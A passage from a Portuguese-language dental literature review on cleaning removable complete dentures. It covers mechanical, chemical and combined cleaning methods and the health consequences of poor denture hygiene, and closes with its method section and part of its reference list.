<p class="wp-block-paragraph">E quanto aos agentes auxiliares durante a escovação, como dentifrícios, de forma ideal deve apresentar baixo grau de abrasividade (Abere, 1979).</p>



<p class="wp-block-paragraph">O método de desinfecção por micro-ondas, pouco divulgado pela comunidade científica, consiste em imergir a prótese em água e levar o conjunto de próteses ao forno por seis minutos. Considerado um método atóxico, fácil, barato e acessível, entretanto pode vir a alterar propriedades da resina acrílica. Bem como, não é indicado em próteses parciais removíveis com estrutura metálica (Kazuo et al, 2008).</p>



<p class="wp-block-paragraph"><strong>4.1.2 MÉTODO QUÍMICO</strong></p>



<p class="wp-block-paragraph">Consiste na imersão da prótese em produtos químicos que possuam ação solvente, detergente, bactericida e fungicida. Entre os agentes químicos destacam-se hipocloritos, peróxidos alcalinos, ácidos diluídos, enzima e clorexidina. (Catão <em>et al</em>, 2007).</p>



<ul class="wp-block-list">
<li><strong>HIPOCLORITO DE SÓDIO</strong></li>
</ul>



<p class="wp-block-paragraph">O uso do hipoclorito de sódio, apresentado na forma de solução é eficiente na eliminação do biofilme, remoção de manchas e na inibição da formação de cálculos, possui a capacidade de eliminar bactérias tanto em superfície, como em profundidade, apresentando efeito bactericida e fungicida (Jagger, 1995).</p>



<p class="wp-block-paragraph">Esta solução pode ser empregada na concentração de 5,25% que é uma combinação de cloro ativo com bases fortes; ou em concentrações menores, de 2%, 1% ou até mesmo diluída a 0,5%. O tempo de imersão varia de acordo com a concentração utilizada, podendo oscilar entre 5 e 30 minutos (Council, 1983).</p>



<p class="wp-block-paragraph">As desvantagens do uso do hipoclorito de sódio é a possibilidade de clareamento dos materiais de confecção das próteses, a corrosão dos componentes metálicos, como estruturas de cobalto-cromo para próteses parciais removíveis e odor desagradável (Peracini <em>et al</em>, 2010).</p>



<ul class="wp-block-list">
<li><strong>PERÓXIDOS ALCALINOS</strong></li>
</ul>



<p class="wp-block-paragraph">Os peróxidos alcalinos são combinações químicas complexas de ingredientes ativos designados para agir sobre os constituintes orgânicos depositados nas superfícies das próteses. Promovem além de uma limpeza química uma limpeza mecânica, removendo debris e manchas suaves e têm alguma ação bactericida (Abelson, 1985).</p>



<p class="wp-block-paragraph">&nbsp;Pode ser utilizado em próteses removíveis com e sem estrutura metálica. O enxágue incorreto dos peróxidos alcalinos deixam resíduos do produto que provocará lesões nos tecidos da cavidade bucal (Jagger, 1995).</p>



<ul class="wp-block-list">
<li><strong>ÁCIDOS</strong></li>
</ul>



<p class="wp-block-paragraph">Os ácidos são geralmente soluções de ácido hidroclorídrico a 5% ou associados ao ácido fosfórico a 15%, efetivos na remoção de manchas que são resistentes à ação do hipoclorito. A sua ação é rápida, porém pode causar danos acidentais durante seu uso, devendo assim ser manuseado com grande cuidado mesmo em concentrações diluídas (3 a 5%). Os ácidos não são indicados para a limpeza de próteses parciais removíveis convencionais por causarem o enfraquecimento à parte metálica (Sesma, 1999).</p>



<ul class="wp-block-list">
<li><strong>ENZIMAS</strong></li>
</ul>



<p class="wp-block-paragraph">O uso de enzimas (papaína, lipase, amilase, tripsina, mutase, protease e dextranase) que atuam quebrando as mucoproteínas, glicoproteínas e mucopolissacarídeos dispersando a matriz da placa. As mais utilizadas são a dextrase, mutanase, lipase, amilase e tripsina, as próteses deverão permanecer imersas por 15 minutos em soluções contendo as duas enzimas uma ou duas vezes por dia. Esses limpadores causam menos danos ao metal da prótese e à resina, do que outros limpadores químicos (Budtz, 1979).</p>



<ul class="wp-block-list">
<li><strong>GLUCONATO DE CLOREXIDINA</strong></li>
</ul>



<p class="wp-block-paragraph">O gluconato é um desinfetante bastante utilizado como agente antimicrobiano, é ativo contra uma série de microrganismos gram-positivos e gram-negativos, fungos, leveduras, anaeróbios facultativos e aeróbios. Em baixas concentrações é bacteriostático e em altas concentrações é bactericida. Porém torna-se impróprio para imersão diária das próteses, por causar a formação de manchas amarelas e marrons, além de apresentar gosto amargo (Budtz, 1979).</p>



<p class="wp-block-paragraph">O produto apresenta uma baixa toxicidade e não tem relatos de alterações teratogênicas e nem a presença de produtos catabólicos cancerígenos ou de retenção permanente da droga no organismo (Rowe, 1978).</p>



<p class="wp-block-paragraph"><strong>4.1.3 MÉTODO COMBINADO</strong></p>



<p class="wp-block-paragraph">No método combinado a limpeza mecânica remove os debris e expõe as superfícies polidas e não polidas da prótese e as soluções químicas atuam contra os microrganismos não removidos pela escovação. Essa associação foi eleita como a melhor conduta para a higienização das próteses pela literatura (Silva, 2008).</p>



<p class="wp-block-paragraph">Recomenda-se o uso de escova protética macia, lembrando que a escova utilizada para higienização das próteses não deve ser a mesma utilizada para limpeza da cavidade oral e também vale ressaltar que apenas a cavidade oral deve ser higienizada com dentifrício (Catão <em>et al</em>, 2007).</p>



<p class="wp-block-paragraph"><strong>4.2 FATORES DE RISCO</strong></p>



<p class="wp-block-paragraph">De acordo com o estudo, pesquisas realizadas com pacientes que usam próteses dentárias, um percentual de 41 % não recebe instruções pelo cirurgião-dentista sobre correta higienização da prótese dentária.&nbsp;</p>



<p class="wp-block-paragraph">A higiene adequada previne a formação de biofilme, diminuindo o acúmulo de material orgânico e a proliferação de bactérias e fungos que podem ocasionar o mau hálito, pigmentação da resina acrílica, formação de cálculo e desenvolvimento da estomatite por próteses muco-suportadas.</p>



<p class="wp-block-paragraph">Autores como Salles, Silva, Paranhos <em>et al.,</em> (2015) argumentam que pacientes que fazem uso de prótese precisam higienizar a prótese com materiais específicos e que são facilmente encontrados nos estabelecimentos indicados pelo cirurgião-dentista. Mas, no mercado brasileiro esse material é encontrado em uma quantidade limitada. Portanto, o resultado disso é que os pacientes escovam suas próteses com escovas convencionais, por isso, a higienização das próteses é de má qualidade.</p>



<p class="wp-block-paragraph"><strong>4.3 PRINCIPAIS CONSEQUÊNCIAS DA FALTA DE HIGIENIZAÇÃO DA PRÓTESE TOTAL REMOVÍVEL</strong></p>



<p class="wp-block-paragraph">De acordo com Fonseca, (2007) a instalação de uma prótese dentária removível provoca uma alteração na placa bacteriana, aumentando os processos inflamatórios da cavidade oral, o que leva o paciente a ter maiores cuidados com a higienização.</p>



<ul class="wp-block-list">
<li><strong>ACÚMULO DE PLACA BACTERIANA&nbsp;</strong></li>
</ul>



<p class="wp-block-paragraph">Takeuchi et al. (2012) identificaram em um estudo que várias espécies e gêneros de bactérias podem estar presentes na base das próteses e, também, em seu interior.</p>



<p class="wp-block-paragraph">Peragassú et al. (2011) também relataram que a prótese é um fator predisponente para a proliferação de microrganismos, já que mantém a saliva sob sua base, diminuindo a ação antimicrobiana na mucosa juntamente com hábitos inadequados de higiene do paciente.</p>



<ul class="wp-block-list">
<li><strong>HALITOSE</strong></li>
</ul>



<p class="wp-block-paragraph">A capacidade de colonizar e criar biofilme nas superfícies das próteses, permite que as bactérias utilizem esse nicho adicional para o crescimento na presença de um ambiente protetor específico, o que dificulta sua remoção. Assim, em casos de má higiene bucal, as próteses podem servir como reservatório e causar halitose persistente (Wu <em>et al,</em> 2015).</p>



<p class="wp-block-paragraph">Muitos pacientes com próteses removíveis também se queixam de salivação reduzida. A redução do fluxo salivar, que causa o ressecamento da mucosa oral, também é um dos fatores de risco para o odor bucal. À medida que a secreção de saliva diminui, sua viscosidade aumenta, e maior viscosidade salivar também pode ser um fator de risco potencial para halitose (Ueno, 2014).</p>



<ul class="wp-block-list">
<li><strong>MANCHAMENTO E ESCURECIMENTO DA PRÓTESE</strong></li>
</ul>



<p class="wp-block-paragraph">A presença de poros na resina juntamente com a má higienização favorece o manchamento e o acúmulo de matéria orgânica e inorgânica, além de dificultar a higienização (Nikawa <em>et al</em>, 1995).</p>



<ul class="wp-block-list">
<li><strong>INFLAMAÇÃO DOS TECIDOS MOLES (ESTOMATITE PROTÉTICA)</strong></li>
</ul>



<p class="wp-block-paragraph">Estomatite Protética (EP) é uma patologia oral fúngica que resulta em processo inflamatório crônico da mucosa de suporte de uma prótese dentária parcial ou total, afetando particularmente pessoas idosas, causada principalmente por próteses mal adaptadas ou com higienização inadequada (Lynce, 2015).</p>



<p class="wp-block-paragraph">Essa patologia é considerada um fator predisponente para doenças cardiovasculares, pneumonia por aspiração e mortalidade em pacientes debilitados (Vander <em>et al,</em> 2015).</p>



<ul class="wp-block-list">
<li><strong>DESENVOLVIMENTO OU EVOLUÇÃO DE DOENÇAS SISTÊMICAS</strong></li>
</ul>



<p class="wp-block-paragraph">Próteses totais mal higienizadas exercem a função de reservatórios de micro-organismos patogênicos que não estão normalmente associados com a microbiota oral. Sendo responsáveis pelo desenvolvimento ou evolução de doenças sistêmicas, como endocardite bacteriana, pneumonia por aspiração, infecção gastrointestinal, doença pulmonar obstrutiva crônica e infecções generalizadas do sistema respiratório (Coulthwaite, 2007).</p>



<ul class="wp-block-list">
<li><strong>QUALIDADE NUTRICIONAL E SAÚDE GERAL</strong></li>
</ul>



<p class="wp-block-paragraph">A falta de limpeza adequada pode causar diversos problemas para usuários de prótese total removível, afetando diretamente na sua qualidade de vida. A maior parte dos portadores de próteses dentárias realizam apenas higienização mecânica, também não tem hábito de remover para dormir. Vale ressaltar que investir na higienização correta das próteses é importante para garantir não só a saúde bucal, mas a qualidade de vida dos indivíduos.</p>



<p class="wp-block-paragraph"><strong>5 MÉTODO&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>5.1 TIPO DE ESTUDO</strong></p>



<p class="wp-block-paragraph">Este estudo caracteriza-se como uma revisão de literatura observacional com abordagem qualitativa.</p>



<p class="wp-block-paragraph"><strong>5.2 DELIMITAÇÃO DO TEMA</strong></p>



<p class="wp-block-paragraph">Esta pesquisa foi direcionada especificamente para a análise as diferentes consequências da falta de higienização da prótese total removível e protocolos na longevidade de próteses totais (PT).</p>



<p class="wp-block-paragraph"><strong>5.3 COLETA E ANÁLISE DE DADOS</strong></p>



<p class="wp-block-paragraph">As bases de dados utilizadas são: Google Acadêmico, National Library of Medicine National Institutes of Health dos EUA (PubMed) e Scientific Eletronic Library Online (SciELO). Descritores conforme (DeCS): Higiene Bucal AND Oral Hygiene; Prótese Total AND Denture, Complete; Qualidade de Vida AND Quality of Life. Utilizando artigos em idiomas publicados em português e inglês, publicados durante o intervalo de tempo de 2015 à 2025.</p>



<p class="wp-block-paragraph"><strong>5.4 CRITÉRIOS DE INCLUSÃO</strong></p>



<ul class="wp-block-list">
<li>Revisão literária;</li>



<li>Estudos clínicos.</li>



<li>Pesquisas em andamento;</li>



<li>Estudos fora de temporada definida;</li>



<li>Artigos que não atenderam a proposta do estudo.</li>
</ul>



<p class="wp-block-paragraph"><strong>6.</strong> <strong>RESULTADOS ESPERADOS</strong></p>



<p class="wp-block-paragraph">Espera-se que a higienização adequada de próteses dentárias removíveis prolongue a vida útil dos aparelhos protéticos e a manutenção da saúde bucal dos pacientes. O método combinado, ou seja, método mecânico e químico apresenta-se como a alternativa de higienização de eleição para as próteses, por ser de fácil execução, viável e pouco dispendiosa.&nbsp;</p>



<p class="wp-block-paragraph">De acordo com o estudo, a maior parte dos portadores de próteses dentárias realizam apenas higienização mecânica e não tem hábito de remover para dormir.</p>



<p class="wp-block-paragraph">Por fim, estimula-se o desenvolvimento de novos produtos ou métodos que possam diminuir os níveis de patógenos específicos e facilitar ainda mais a higiene e manutenção destas próteses, devendo o produto ser preferencialmente de fácil manuseio, efetivo na exclusão de depósitos orgânicos e inorgânicos, bactericida e fungicida, atóxico aos pacientes, compatível com o material das próteses e se possível apresentar um baixo custo. De forma a garantir a longevidade de aparelhos protéticos removíveis.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">1. ABELSON, D.C. Denture plaque and denture cleansers: review of the literature. Gerodontics. 1985; 1:2026.</p>



<p class="wp-block-paragraph">2. ABERE, D.J. Post-placement care of complete and removable partial dentures. Dent. clin. North Am.23(1):143-51, 1979.</p>



<p class="wp-block-paragraph">3. BASTOS, P.L.; MESQUITA, T.C.; OTTOBONI, G.S.; FIGUEIREDO, V.M.G. Método de higienização em próteses removíveis. Rev Bahiana Odontol. 6(2):129-37., 2015.</p>



<p class="wp-block-paragraph">4. BATISTA, M. J., et al. Classificação das perdas dentárias: fatores associados a uma nova medida em uma população de adultos, Ciência e saúde coletiva, Faculdade de Odontologia de Piracicaba, Universidade Estadual de Campinas. 2015.</p>



<p class="wp-block-paragraph">5. BUDTZ-JORGENSEN E. Material and methods for cleaning dentures. J. prosthet. dent. 42(6):619-23, 1979.</p>



<p class="wp-block-paragraph">6. CARLI, J.P., et al. Lesões bucais relacionadas ao uso de próteses dentárias removíveis. SALUSVITA, Bauru, v. 32, n. 1, p. 103-115, 2013.&nbsp;</p>



<p class="wp-block-paragraph">7. CATÃO, C.D.S.; RAMOS, I.N.C.; SILVA NETO, J.M.; DUARTE, S.M.O.; BATISTA, A.U.D.; DIAS, A.H.M.&nbsp; Chemical substance efficiency in the biofilm removing in complete denture. Rev. odontol. UNESP. 36(1):53-60, 2007.</p>



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